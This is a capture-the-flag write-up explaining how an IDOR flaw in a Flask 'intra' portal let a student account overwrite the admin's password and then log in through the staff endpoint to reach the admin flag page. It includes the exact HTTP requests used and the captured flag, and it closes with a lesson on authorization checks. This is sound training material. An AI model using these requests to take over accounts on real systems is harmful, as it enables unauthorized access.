1337 Local CTF: new intra — IDOR → Staff Login → Admin Page
193 words
1 minute
1337 Local CTF: new intra — IDOR → Staff Login → Admin Page
new intra
Challenge Context
The target was a Flask/Werkzeug intra-style portal with student login, staff login, profile editing, a dashboard, and admin-only pages.
Attack Chain
Register student account -> PUT /api/profile/1 IDOR -> change admin bocal's password -> POST /api/staff as bocal -> GET /admin -> flagReconnaissance
Key endpoints:
| Endpoint | Purpose |
|---|---|
POST /api/register | create student account |
POST /api/login | student login |
POST /api/staff | staff login |
PUT /api/profile/<id> | profile update |
GET /admin | admin page with flag |
GET /flag | red herring; did not expose the final flag path |
The important bug was that PUT /api/profile/<id> checked that the request had a valid session, but did not check that the session user owned <id>.
Vulnerability / Core Idea
This is an IDOR / Broken Object Level Authorization issue:
authenticated user A can modify profile object B by changing the URL idAdmin users were enumerable. UID 1 was bocal, an admin account.
Exploitation
- Register a normal student account.
- Use that student’s session cookie to update UID 1:
PUT /api/profile/1 HTTP/1.1Host: 104.199.105.242:1337Content-Type: application/jsonCookie: session=<student-session>
{"password":"REDACTED_TEST_PASSWORD"}- Authenticate through the staff endpoint, not the normal student endpoint:
POST /api/staff HTTP/1.1Host: 104.199.105.242:1337Content-Type: application/json
{"username":"bocal","password":"REDACTED_TEST_PASSWORD"}- Visit
/adminwith the staff session.
Flag
leet{h4ck3d_b0c4l_v14_1d0r_m4ss_4ss1gn}Lesson Learned
AuthN is not AuthZ. It is not enough to verify that a user is logged in; every object-level update must verify ownership or role authorization.
Cover: Wallhaven og33jl.
Share Article
If this article helped you, please share it with others!
1337 Local CTF: new intra — IDOR → Staff Login → Admin Page
https://achux21.github.io/posts/1337-local-ctf-new-intra/ 1337 Local CTF: MOL TAXI — Phishing PCAP → XOR Malware Layers
1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read
Related Posts Smart
1
1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read
CTF Exploiting Smarty template injection and bypassing a substring WAF with string concatenation.
2
1337 Local CTF: baby overflow — Integer Overflow
CTF Using an 8-bit integer wraparound to satisfy a numeric check.
3
1337 Local CTF: July pool 2024 — Dangling Git Commits
CTF Recovering a split flag from unreachable Git objects inside a piscine project archive.
4
1337 Local CTF: numbA thiri — CRT Reconstruction
CTF Recovering the flag integer from residues modulo small primes and a quotient.
5
1337 Local CTF: big brother — Reverse Engineering Hidden Session Logic
CTF Recovering a hidden rev flag from the challenge binary and confirming submission.
Random Posts Random